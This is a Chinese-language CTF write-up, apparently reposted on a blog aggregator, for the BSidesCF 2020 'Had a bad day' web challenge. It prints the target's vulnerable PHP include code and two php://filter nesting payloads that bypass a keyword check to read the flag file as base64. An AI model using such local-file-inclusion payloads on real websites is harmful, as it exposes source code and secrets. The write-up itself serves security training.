当前位置:网站首页>[BSidesCF 2020]Had a bad day1
[BSidesCF 2020]Had a bad day1
2022-08-08 06:22:00 【Joker. .】
知识点:伪协议的嵌套

点一下是两张图片,但是这里要注意你点图片时URL会传入变量
![]()
尝试了一下模板注入发现不是,然后直接构造一句话木马发现也不行,但是当你在打开图片在传入的变量后面随便加上一个字母会发现自动加上了php

尝试用伪协议打开一下index.php,但是php不用加因为会自动加

base64解密一下,拿到php代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false ||
strpos( $file, "meowers" ) !== false ||
strpos( $file, "index"))
{
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>可以看到变量中必须包含三个的其中一个,这时候就需要利用伪协议的嵌套了
payload:/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
或者加到前面
/index.php?category=php://filter/read=index/convert.base64-encode/resource=flag

解码拿到

边栏推荐
猜你喜欢
随机推荐
开发两年,作为过来人的建议
10道集合框架面试题(含解析),来看看你会多少
2-SAT
Rust学习:3_变量绑定与解构
摔倒检测综述
遥远的救世主
tf.train.MonitoredTrainingSession 控制 checkpoint 保存数量
ValueError: Length of feature_names, 4 does not match number of features, 2 的解决方法
【微信小程序】一文学懂小程序的数据绑定和事件绑定
简要概述深度学习和机器学期的区别
MySQL database
最完整的分布式架构设计图谱
Stream API
Rust学习:5_所有权与借用
cnn convolutional neural network backpropagation, convolutional neural network dimension change
Tensorboard 对训练性能影响
YoloV4训练自己的数据集(四)
EOF指令在C语言中的作用
Kingbase ES创建过程,报错:PL/SQL block not end correctly
使用模板引擎时,Uncaught TemplateError报错原因小结








